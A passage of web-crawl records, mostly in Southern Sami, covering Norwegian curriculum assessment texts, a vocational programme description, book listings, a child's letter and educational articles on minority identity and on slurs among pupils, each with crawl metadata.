bïevnesh jïh daajroeh ovmessie gaaltijh maehtieh gyhtjelassi bïjre vedtedh. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse ovmessie perspektijvh vaeltieh, jïh vuejnieh guktie jïjtjh jïh mubpieh maehtieh baajnehtamme sjïdtedh sinsitneste, seabradahkeste jïh eatnamistie, jïh sinsitniem, seabradahkem jïh eatnemem baajnehtidh. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse digitaalelaakan laavenjostoeh jïh såemies njoelkedassh jïh nåårmh persovnevaarjelæmman jïh digitaale ektiedahkose nuhtjieh.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh leah meatan jïh lïeremelastose sjïehteladtedh gosse baaja learohkh daajroem joekehtslaakan ohtsedidh, ovmessie perspektijvh vaeltedh jïh ussjedadtedh guktie daajroe sjædta. Lohkehtæjja jïh learohkh edtjieh soptsestalledh learohki evtiedimmien bïjre seabradahkefaagesne. Learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh haalvoeh, jïh maam buerebelaakan haalvoeh goh aarebi. Lohkehtæjja edtja bïhkedimmiem vedtedh dan guhkiebasse lïeremen bïjre jïh lierehtimmiem sjïehtedidh guktie learohkh maehtieh bïhkedimmiem nuhtjedh sijjen maahtoem evtiedidh seabradahkefaagesne tjetskehkevoeten, daajroeohtsemen jïh barkoen tjïrrh ektiedimmiejgujmie faagesne.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/saf02-04\/kompetansemaal-og-vurdering\/kv150?lang=sma","date":"2023-12-11T19:42:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679516047.98\/warc\/CC-MAIN-20231211174901-20231211204901-00186.warc.gz","language":"sma","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000094175338745}","num_words":192,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne lïerh\n- installasjovnem jïh gorredimmiem elektrihkeles systeemijste\n- monteereme, ektiedimmie jïh programmerere elektrihkeles jïh elektrovneles systeemijste jïh tseegkeldahkijste\n- dåvvome elektrihkeles dalhketjijstie\n- evtiedimmien bïjre orre elektrovneles dorjesijstie\n- konfigureereme jïh programmereme dalhketjijstie jïh komponentijste\n- jearsoevoete jïh dokumentasjovne\nDatne byörh\n- veele jïh systematihkeles årrodh\n- praktihkeles årrodh jïh væjkele årrodh gïetigujmie barkedh\n- faepeles årrodh jïh logiske ussjedimmievuekiem utnedh\n- kreatijve årrodh jïh klaerieh hijvenlaakan vuejnedh\nDatne maahtah sjïdtedh\n- elektrihkere, elektrodåvvoje jallh energijeoperatööre\n- taavla-, signaale jallh lutnjesemontööre\n- avionihkere jallh girtiemekanihkere\n- rommeteknologe, daata- jallh produksjovneelektronihkere\n- automatihkere jallh FU-operatööre\n- galme- jïh baahkepumpateknihkere\nVuartesjh gaajhkh barkoeh jïh maahtoeh\nBarkoesijjieh\n- byögkeles jallh privaate sïelth\n- prosesse- jallh elektronihkeindustrije\n- mekanihkeles industrije, energijevierhkieh jallh ruevtieraajroe\n- daata-, girtie- jallh åljasuerkie\nGuhkiebasse ööhpehtimmie\nBarkoefaageles lïerehtimmie barkoemaahtoem ulmine åtna (faage- jallh svenneprievine jallh namhtah). Barkoefaageles lïerehtimmiem mænngan maahtah barkosne aelkedh jallh guhkiebasse ööhpehtimmiem vaeltedh:\n- Maahtah jåarhkeööhpehtimmiem vaeltedh faageskuvlesne. Faageskuvleööhpehtimmie lea åenehks jïh barkoestuvreme jåarhkeööhpehtimmie mij lea ussjedamme dejtie mah barkoefaagem vaadtseme.\n- Maahtah Jåa3 lissiebigkemem sïejhme studijemaahtose vaeltedh\n– Jåa 2:n mænngan jallh\n– mænngan barkoemaahtoem jakseme.\nDellie nuepiem åtnah jollebe ööhpehtimmiem vaeltedh jïlleskuvlesne jallh universiteetesne. Mujhtieh såemies studijh, v.g. insjenööre-, realfaage- jïh medisijnen studijh, krievieh dov leah vihties realfaagh.\n- Maahtah aaj tsaekemem ohtsedh jollebe ööhpehtæmman åvtekuvsjen mænngan B-geajnoen tjïrrh, barkoefaageles geajnoe jollebe ööhpehtæmman. B-geajnoe lea ussjedamme dutnjien mij sjyöhtehke barkoemaahtoem åtna. Åvtekuvsjh jïh B-geajnoe leah sïejhmemes realfaage- jïh insjenöörestudiji sisnjeli.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/elektro-jih-daatateknologije\/program\/v.el","date":"2023-12-05T14:54:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100551.2\/warc\/CC-MAIN-20231205140836-20231205170836-00734.warc.gz","language":"sma","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000027418136597}","num_words":211,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem vuesiehtieh jïh evtiedieh ööhpehtimmieveeljemisnie gosse jïjtsh evtiedimmien jïh karrijeerelïeremen bijjeli ussjededtieh, jïh vuarjasjimmiefaamoem vuesiehtieh digkiedimmesne etihkeles aehpijste. Learohkh aaj maahtoem ööhpehtimmieveeljemisnie vuesiehtieh gosse nuepieh tjïelkestidh ööhpehtimmesne jïh barkosne, jïh daajroem nuhtjieh jïjtsh soejkesjh digkiedieh dan guhkiebasse karrijeerese. Learohkh maahtoem evtiedieh ööhpehtimmieveeljemisnie gosse ahkedh vielie ovmessie strategijh jïh faagedïejvesh nuhtjieh sijjen faagemaahtoem buektieh, individuellelaakan jïh mubpiejgujmie ektine.\nLohkehtæjja edtja ööhpehtimmiegeajnoem sjïehteladtedh mij lïeremem vadta desnie gusnie learohken maahtoem maahta vååjnesasse båetedh joekehtslaakan. Jeereldihkie lïeremetsiehkiej tjïrrh jïh soptsestallemisnie lohkehtæjjine, fïereguhte learohke edtja voerkes sjïdtedh jïjtse lïeremen bïjre. Learohkh edtjieh bïevnesh bååstede åadtjodh mah lïeremem eevtjieh, mah dejtie skreejrehtieh jïh bïhkedieh guhkiebasse barkedh teemajgujmie goh jïjtse evtiedimmie, ööhpehtimmiesysteeme jïh barkoejielede.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/utv01-03\/kompetansemaal-og-vurdering\/kv106?lang=sma","date":"2023-12-08T19:52:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100769.54\/warc\/CC-MAIN-20231208180539-20231208210539-00210.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":119,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.11,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Eejehtshïejme edtja skuvlen lissine pedagogihken viehkine årrodh, buerie eejehtimmiem learoehkidie faalehtidh jïh learohkem dåarjodh åvtenidh. Eejehtshïejmen pedagogihken gïehtelimmieh stuvresåvva learoesoejkesjistie Learoesoejkesje saemieskuvlese, aarhskuvlese jïh eejehtshïejmese. Eejehtshïejmen gïehtelimmieh dejstie gaektsie jaepieboelhkijste soejkesjåvva.\nGosse altese maana aarhskuvleklaassese jallh skuvlese tjaalasovvh aaj maahtah eejehtshïejmesæjjan syökedh.\nGoere Tïjjh eejehtshïejmese fååtesieh, orrijidh eejehtshïejmesne Anders Nygårds","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sameskolstyrelsen.se\/sy\/oohpehtimmie\/eejehtshiejme\/","date":"2023-12-05T04:46:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100545.7\/warc\/CC-MAIN-20231205041842-20231205071842-00674.warc.gz","language":"sma","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000001072883606}","num_words":50,"character_repetition_ratio":0.123,"word_repetition_ratio":0.0,"special_characters_ratio":0.102,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2023\nGiele\nISBN\n9788293402602\nFormaate\nGuvviegærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n66\nGuvviegærja maanide pihtesaemien.\nGærjesne gellie klaerie guvvie man bïjre maahtah soptsestidh. Dej stoerre guvviej bïjre gellie smaave guvvieh mah teksth utnieh. Gærja maanagïerte maanide sjeahta jïh aaj stuerebe maanide mah edtjieh ööhpehtidh lohkedh.\nMinngemes gærjesne lea baakoelæstoe alfabeeten mietie gusnie lea aelhkie baakoeh gaavnedh. Gærja lea gellie gielide jarkoestamme, goh daaroengïelese, englaantengïelese, franskegïelese, tyskegïelese jïh spanskegïelese.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/girji_muv-vuostas-1000-bago","date":"2024-02-25T03:09:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474573.20\/warc\/CC-MAIN-20240225003942-20240225033942-00891.warc.gz","language":"sma","language_score":1.0000015497,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000015497207642}","num_words":70,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse:\nTjohpe lea vihkelis aesnie åarjelsaemien gaptese. Gaejhkh dovnes, gaarmanæjja, nyjsenæjja jih maana tjohpem nuhtijieh. Gærjesne vuesiehte maam tjohpese daarpesje, guktie möölegem vaeltedh, guktie vïjjedh jïh tjohpem gåarodh. Annetje tjaaleme ovmessie årjelsaemien tjohpij bïjre.\nTjohp åarjelsaepmesne duedtiegærja lea learovierhtie jåarhkeskuvlese, aaj viehkine jeatjabidie gïeh sæjhta tjohpem lïeredh gåarodh.\nI boka Tjohp åarjelsaepmesne får man et kort historisk innblikk om tradisjonell sørsamisk lue, og hvordan sy en kvinne- og mannslue; materialevalg, mønsterlaging og sying steg-for-steg. Boka er skrevet for elever på videregåendetrinn, men passer også for andre som er interessert i å lære å sy tjohpe, en sørsamisk lue\nSpesifikasjoner\nSpråk: Åarjelsaemien\nUtgiver:Davvi girji\nISBN: 978-82-329-0133-3","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/saemien.e-susoft.com\/product\/10900","date":"2024-02-27T11:32:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474674.35\/warc\/CC-MAIN-20240227085429-20240227115429-00440.warc.gz","language":"sma","language_score":0.9966371059,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9966371059417725}","num_words":104,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Unnebelåhkoeidentiteete jïh jïjtjeåehpiedehteme\nTeemah\n- Identiteete, gellievoete jïh gïese akt govlehtovvedh\nRïektes geajnoeh\nDaajehtse identiteete båata latijnen baakoste idem (dïhte seamma). Identiteete maahta «dïhte seamma» årrodh guektienlaakan: akte persovneles identiteete jïh dåehkieidentiteete. Jalhts mijjieh uvtemes unnebelåhkoeidentiteetese ussjedibie goh dåehkieidentiteete, unnebelåhkoeidentiteete aaj persovneles. Evtiedimmie persovneles identiteeteste jïh dåehkieidentiteeteste leah sinsætnan vïedteldihkie, jïh dovne sinsitniem lissehte jïh leah jearohke sinsitneste. Dåehkieidentiteetem relasjovnesne åådtje jeatjah dåehkiejgujmie: Gieh mijjieh viertiestamme mubpiejgujmie?\nUnnebelåhkoeidentiteete\n\"Konsekvensh åejvieladtji politihkeste lea joekehtslaakan leajhtadimmiem nöörjen åejvieladtjide jïh byögkeles institusjovnide tsööpkeme.\nGosse unnebelåhkoedåehkieh tjïelkelaakan ålkoestamme sjidtieh jienebelåhkoen ektievoeten åssjaldahki sistie, jallh ektievoeten åssjaldahki sïjse noerhkesuvvieh, ovmessie unnebelåhkoestrategijh båetieh goh reaksjovne dåehkiestatusasse man mietie jienebelåhkoen unnebelåhkoepolitihke lea hammoedamme. Ada Engebrigtsen lea golme jïjtjereerije unnebelåhkoestrategijh åehpiedahteme jienebelåhkoen sosijaale stigman vööste, jïh vuarjasjimmie unnebelåhkoeidentiteeteste goh ij-legitijme (Engebrigtsen 1992). Dïhte voestes strategije maam neebnie lea privaate, vielie jallh vaenebe tjeakoes identiteetem tseegkedh, mij uvtemes vååjnesasse båata laavenjostosne indivijdigujmie seamma dåehkeste. Jeatjah strategije lea identiteetem målsodh jïh dam etnihkeles ektiedimmiem nyöjhkedh. Gåalmede strategije lea etnikeles konsolidereme. Dïhte minngemes maahta vååjnesasse båetedh joekehtslaakan – goh politihkeles gæmhpoen tjïrrh jallh akten integreeremeprosessen tjïrrh mij seamma tïjjen fokusem åtna religijööse, kulturelle jïh aerpievuekien sjïerevoeth gorredidh (integreereme). Maahta aaj vååjnedh goh gaskesem jienebelåhkojne giehpiedidh (jïjtjeekskludeereme).\nAlmetjh baajnehtamme sjidtieh dehtie kultuvreste mesnie byjjenieh, naakede mij viehkehte vuajnoeh, daajroem jïh dahkoeh baajnehtidh. Men gosse akte indivijde sov identiteetem molse jïh nyöjhkoe, unnebelåhkoeidentiteete maahta vuestiekultuvrine sjïdtedh mij opposisjovnine båata «veertekultuvrese». Gosse jienebelåhkoeseabradahke politihkem jïh praksisem tseegkie sov toelhkestimmiej gaavhtan seabradahkeste, unnebelåhkoedåehkieh sijjen praksisem toelhkestieh dååjrehtimmiej mietie jienebelåhkoepraksisinie. Jeatjah baakoejgujmie histovrije lea vihkielåbpoe goh laantesne orreme vielie goh tjuetie jaepieh. Konsekvensh åejvieladtji politihkeste lea jienebh dåehkieh eah nöörjen åejvieladtjh jïh byögkeles institusjovnh leajhtedh, jïh ovmessie strategijh unnebelåhkoedåehkide vadteme stoerreseabradahkine jïh unnebelåhkoeidentiteetine ektine. Annje stoerre skepsise nöörjen staatese, jïh daate voerkesvoete orre boelvide jåarhka (kumulatijve sïerredimmie), jïh vihkeles bielie sjædta dåehkieidentiteeteste jïh dåehkievoerkesvoeteste (Midtbøen jïh Lidén 2015). Reaktah nuhtedh lea seamma goh laavenjostoem aelkedh nöörjen åejvieladtjigujmie jïh byögkeles institusjovnigujmie, akte laavenjostoe byråkrateles systeemine mij joekehtslaakan vïedteldihkie sjædta sïerredimmine, registreereminie jïh daaresjimmine.\n\"Såemies almetjh dååjroeh salkehtimmieh staateles daaresjimmiej bïjre, jïh tsåatskelesvoete jïjtse unnebelåhkoen bïjre goh mij akt persovneles mij byöroe byögkelesvoeten ålkolen årrodh, mearan jeatjebh vienhtieh daate byöroe vååjnesasse båetedh\nSeamma tijjen maahta vååjnedh goh lissiehtamme statuse aalkoeåålmeginie jïh nasjonaale unnebelåhkojne årrodh, gosse nöörjen åejvieladtjh salkehtimmiejgujmie båetieh jïh åvtetje aejkien daaresjimmieh gaatelessjieh (jïh dan mænngan maaksoeh \/institusjovnh\/mojhtesemïerhkh båetieh) leah hijven effektem vadteme. Organiseereme jïh vuastalimmie åejvieladtji unnebelåhkoepolitihken vööste,guhkies aerpievuekieh utnieh saemiej jïh dåehkiej gaskem mah 1998 raejeste statusem åtneme goh nasjonaale unnebelåhkoeh. Læjhkan vååjnoe goh statuse lea lissiehtamme organiseeremem jïh tjïelkebe gïelem vadteme aamhtesinie mah leah unnebelåhkoej jïh dej kultuvren bïjre, tseegkeminie siebreste Romsk råd goh minngemes siebrie. Læjhkan, vaallah daesnie maahta jiehtedh effekte lea aktelaaketje. Såemies dåehkiej luvnie daate såarhts tsåatskelesvoete vigkieh sjugniedamme dåehkiej sisnie, mennie mieresne dah sijhtieh tsåatskelesvoetem jïjtsh åvtetje aejkien bïjre jïh statusen bïjre utnedh daan biejjien. Muvhth dååjroeh salkehtimmieh staateles daaresjimmiej bïjre jïh tsåatskelesvoete jïjtse unnebelåhkoen bïjre goh mij akt persovneles maam byögkelesvoeten tjelmieh eah byörh vuejnedh, mearan jeatjebh vienhtieh daate byöroe tjoevkesasse båetedh.\nJïjtjerepresentasjovne\n\"Vihkielommes aspekte jïjtjerepresentasjovnine lea evtiedimmiem tjïertestidh jieniebinie otnjegisnie tïjje doekoe juktie gellievoetem unnebelåhkoedåehkiej sisnie tjïertestidh\nMaahta identiteetem guarkedh goh mij akt maam åtna \/ lea (essensialistiske), jallh mij akt maam sjugnede \/ dorje (konstruktivistiske). Dannie ektiedimmesne amma etnihkeles identiteete mij vihties sjædta jallh mij akt maam jïjtje hammode. Jalhts aerpievuekieh, histovrije jïh kultuvrehistovrijes sjiere væhta maehtieh vihkeles bieline unnebelåhkoeidentiteeteste årrodh, daah aspekth eah leah dåehkiej sjaavnjoej mietie guktie dah sijhtieh representeereme sjidtedh stoerreseabradahkesne (skuvlh, byögkeles institusjovnh, gåetie – jïh barkoemaarkede jïh vielie). Sijjeste statiske stereotypijh kulturelle jïh histovrijes aerpievuekiej mietie mah maehtieh essensialiseereme steegkeldh åssjaldahkh vedtedh, dïhte vihkielommes aspekte jïjtjerepresentasjovnesne lea evtiedimmiem tjïertestidh gelline otnjeginie tïjje doekoe, juktie gellievoetem unnebelåhkoej sisnie tjïertestidh.\nGellievoeteaspekte akten vihkeles haestiemasse tjuvtjede statusine goh nasjonaale unnebelåhkoe. Vihkele åejvieladtjh jïh stoerreseabradahke tjïelkelaakan daejrieh statuse goh aalkoeåålmege jïh nasjonaale unnebelåhkoe ij oktegh gaajhkh haestemh unnebelåhkoejieleden bïjre Nöörjesne loeth, naakede mij tjïelkelaakan vååjnesasse bööti stoerredigkieproposisjovnen govlehtimmielahtestimmine nr 80. 1999.Jienebh unnebelåhkoeorganisasjovnh lin jueriedisnie dagkeres statusasse. Naakede destie mij neebnesovvi lij dah bïllin tjïelkestehteme destie edtji dåehkide eantan vielie geerestidh staatenårroji reaktijste jïh dïedtijste, jïh dan gaavhtan idtjin sïjhth seammalaakan vuajnalgidh goh jeatjah årrojh seabradahkesne, jïh statuse sijhti joekehtsvoeth defineeredh jïh tjïertestidh. (Assimilering og motstand, NOU: 7 2015).\n\"Essensialiseereme jienebelåhkoste jïh jïjtjeessensialiseereme unnebelåhkojste, dahkoenuepide gellievoetese gaertjiedieh dovne don individuelle identiteetese jïh dåehkieidentiteetese\nTjuara lahtesidie vuejnedh goh joekoen sjyöhtehke. Desnie gusnie jienebelåhkoeseabradahke daan biejjien lea multikulturelle seabradahkesne tseegkesovveme, dåajvoejgujmie urrebe sïjsevaanterdæjjadåehkieh jïjtjemse seabradahken njoelkedasside sjïehtedieh, statuse goh nasjonaale unnebelåhkoe tjïerteste datne leah mij akt jeatjah. Krïevenasse autensiteeten, tjïelkevoeten jïh homogeniteeten bïjre kultuvresne, gaavnedimmiemierine sjædta jienebelåhkoen årroji jïh unnebelåhkoen dåehkiej gaskem. Sjiere reaktah gïelese jïh kultuvrese aktem essensialiseeremem åejvieladtji bieleste, jïh jïjtjeessensialiseeremem unnebelåhkoste dan åvteste sjïere reaktah, men ij aajkojne, dahkoenuepide gellievoetese gaertjede dovne ektiedamme don individuelle identiteetese jïh dåehkieidentiteetese.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/artikler\/unnebelahkoeidentiteete-jih-jijtjeaehpiedehteme","date":"2024-02-23T03:41:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474360.86\/warc\/CC-MAIN-20240223021632-20240223051632-00843.warc.gz","language":"sma","language_score":0.999990344,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999903440475464}","num_words":771,"character_repetition_ratio":0.085,"word_repetition_ratio":0.013,"special_characters_ratio":0.122,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Homo jïh håvra goh måelliebaakoeh\nVååjnoe goh «håvra» jïh «homo» leah doh göökte sïejhmemes måelliebaakoeh nöörjen noereskuvlelearohki gaskem. Daate goerehtallemh vuesehte mejtie lea dorjeme 15 skuvline Dembran sjïekenisnie. Daesnie aaj våajnoes sjædta «juvdelassje» jïjnje åtnasåvva goh måelliebaakoe, men jeerehte man jïjnje skuvleste skuvlese.\nHomo jïh håvra goh måelliebaakoeh\nHilde Slåtten lea åtnoem homomåelliebaakojste dotkeme nöörjen noeri gaskem 9. daltesisnie. Dïhte gaavneme baernieh homomåelliebaakoeh vielie nuhtjieh goh nïejth, jïh dagkerh baakoeh daamtajommes åtnasuvvieh naakeni bïjre maam damta, goh ovnohkens almetji bïjre. Baakoe goh homse joekoen åtnasåvva gosse naakenh tjoelenjoelkedasside meadtoeh, vuesiehtimmien gaavhtan gosse akte baernie maam joem dorje jallh jeahta mij lea feminine. Daate åtnoe lea sïejhmebe goh naakenem laavsedh jallh neerrehtidh. Slåtten aaj gaavna noerh homomåelliebaakoeh heterofijle almetji bïjre vielie nuhtjieh, goh almetji bïjre mejtie vienhtieh leah homofijle.\nBaakoe håvra njoelkedassese vuesehte nyjsenæjjah eah edtjh seksuelle lastoem vuesiehtidh. Håvra måelliebaakojne nïejti bïjre åtnasåvva mejtie åtna goh vielie seksuelle eadtjohke, vielie «loengedh» jallh baerniej vööste goh njoelkedassen mietie. Baakoe amma giehtjedimmiefunksjovnem nyjsenæjjaj seksualiteeten bijjelen åtna. Men baakoe aaj jeatjahlaakan noeri gaskem åtnasåvva daan biejjien. Daajroestatusisnie tjoelerelateereme irhkemen bïjre maanaj jïh noeri gaskem jaepeste 2007, Hannah Helseth tjuvtjede håvra lissine maahta voelpedåehkesne åtnasovvedh, maaje goh intimiteetebaakoe. Daate såarhts åtnoe jeerehte skuvleste skuvlese, dagke vïedteldihkie tsiehkide goh sosioekonomeles statuse jïh learohkedåehkie.\n\"\nSinsitniem «håvra» jïh «homo» gåhtjodh maahta ov-såahtan vååjnedh, men lea vïerrebe goh govloe.\nSinsitniem «håvra» jallh «homo» gåhtjodh maahta ov-såahtan vååjnedh muvhtide noeride. Men baakoeh aaj gïengelåbpoe mïelem buektieh giehtjedimmeste tjoeli jïh seksualiteeten bijjeli. Baakoeh maehtieh tjarke jïh itjmieslaakan saajroehtidh. Men aaj dïhte åtnoe maam noerh jïjtjh utnieh goh ov-såahtan, lea meatan raasth bïejedh dåemiedæmman jïhfrijjevoetese. Dan åvteste vihkeles skuvle tjïelke njoelkedassh dåarjohte åtnoen vööste dagkerh måelliebaakojste. Goerehtallemisnie maam tjïrrehtamme 15 Dembra-skuvline Østlaantesne akte stoerre jienebelåhkoe learoehkijstie vaestede åtnoe håvreste, homoste jïh juvdelassjeste ij lij luhpie jïh lea dealoes. Maahta dam guarkedh goh lohkehtæjja hijven våaromem åtna dåarjoehtimmiem åadtjodh dah baakoeh eah edtjh måelliebaakojne åtnasovvedh.\nGoh måelliebaakoe baakoeh homo jïh håvra aaj mïsse akt vielie govlehtuava, goh njoelkedassh maskuliniteetese jïh nyjsenæjjaj tjoelejieliedasse. Lissine bieline årrodh åvtelhaarvojste jïh vædtjanvoeteste homofijli vööste, «homo» goh måelliebaakoe aaj symbovline sjædta don ålmese mij lea mïrrestalleldh, daajbaaletje jïh ij daan stoerre åedtjieh utnieh (heterofijle ålma). Skepsise don daajbaaletje ålmese maahta aaj ektesne vuejnedh evtiedimmine dehtie post-daajbaaletje seabradahkeste, gusnie kråahpebarkoe jeenjemasth lea gaarvanamme, jïh jolle ööhpehtimmie jïh aajlabarkoe leah dïhte mij statusem vadta. Dovne aerpievuekien åelkies-ekstremismen (nazisme, fascisme) jïh militaante jihadismen\/ islamismen \/ salafismen sisnjeli, machoålma jïh patriarkaate leah tjïelke idealh. Ålma edtja gæmhpodh jïh fuelhkiem jieliehtidh, jïh nyjsenæjja edtja maanah bijjiedidh. Dïhte mïrrestalleldh «homo»-ålma lea vïedteldihkie liberalismese, jalletje dekadansese jïh moraalen slahtjehtimmie. Seammalaakan «håvra» lea frijje, jïjtjeraarehke, (seksuelle) mïrrestalleldh jïh «jalletje» nïejte jallh nyjsenæjja.\nMaahta dam vijries åtnoem baakojste «håvra» jïh «homo» noeri gaskem jiehtedh lea meatan gæmhposne tjoeleråållaj bïjre, jïh giehtjedimmien bïjre tjoeli bijjeli. Ekstremisth eah leah oktegh tjoeleråållah pryöjjadidh, men maahta vïhtesjadtedh dam vihkeles sijjiem tjoeleråållah gelliesåarhts ekstremistiske åssjaldahkine utnieh. Gellie ekstremistedåehkieh mubpiejgujmie ektine, leah tjarke opposisjovnesne don liberaale demokratijen tjoeleråållaj vööste. 1990 mænngan aaj ekstremistebyjresh jïh islamofobe byjresh sjïdteme mah ulmine utnieh liberaale tjoeleråållah islaamen vööste vaarjelidh, mejtie vuartasjieh goh totalitære ideologije seammalaakan goh nazisme. Treende sjïerelaakan vuesehte guktie ekstremistedåehkieh vuestiepovline sjidtieh, jïh dan tjïrrh lea vaahra lissiehtamme polariseeremasse aktede seabradahkeste.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/artikler\/homo-jih-havra-goh-maelliebaakoeh","date":"2024-02-27T01:01:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474669.36\/warc\/CC-MAIN-20240226225941-20240227015941-00867.warc.gz","language":"sma","language_score":0.9999924898,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999924898147583}","num_words":521,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Haaj guktie datnine?\nMannine barre hijven.\nMov giese- eejehtimmie manne juelkie-tjengkere spelaladim.\nManne juelkie-tjengkere gaempoe spelaladim dan nomme lea: onne eatneme gaempoe. Mijjieh vihtie gæmhpoeh spealadimh jih nielje vitnemh! Luste lij.\nManne aaj mov voelpi gujmie åeriejim.\nMijjieh guvvieh vuejhiejimh jih popcorn byöpmedimh. Tsåhka luhkieakte iehkeden mijjieh tjoerh åeriejih. Aereden mijjieh fahkajimh jih aeredsbeapmoe byöpmedimh. Dellie mannine nåake, manne mov gåetese vaedtsiejim.\nManne Stuehkiese mov maadteladtjh gavvnejim. Manne Stuhkiesne njulhtjie-såafoe sïjje minnim.\nDaate luste lij!\nNåå nåå hellsegh Torkel","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.polarbibblo.se\/sma-se\/lohkedh-jih-goltelidh\/soptsesh\/daarjoe\/?id=13068","date":"2024-02-23T01:13:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473871.23\/warc\/CC-MAIN-20240222225655-20240223015655-00542.warc.gz","language":"sma","language_score":0.999969244,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999692440032959}","num_words":79,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem faagesne nöörjen learoehkidie saemiengïeline voestesgïeline Jåa2 barkoefaageles ööhpehtimmieprogrammesne vuesiehtieh jïh evtiedieh gosse teeksth nöörjen jïh saemien lidteratuvreste luhkieh jïh dej bijjeli ussjededtieh. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse tjyölkehke soptsestieh jïh guktie mubpieh guarkoeh, viehkine faagegïeleste, jïh gosse faageles teemah goerehtieh laejhtehks åtnojne gaaltijijstie jïh dam åehpiedehtieh njaalmeldh jïh tjaaleldh teekstine, struktuvrine jïh ektiedimmine. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse daajroem gïelen bïjre goh systeeme nuhtjieh gïelh goerehtidh jïh viertiestidh, jïh gosse laejhtehkslaakan ussjededtieh jïjtsh jïh mubpiej njaalmeldh jïh tjaaleldh teeksti bijjeli.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh leah meatan jïh lïeremelastose skreejrehtidh viehkine learohkh åadtjoeh barkedh juktie vueptiestidh jïh goerehtidh dovne oktegh jïh mubpiejgujmie ektine. Lohkehtæjja jïh learohkh edtjieh dialogesne årrodh learohki evtiedimmien bïjre faagesne 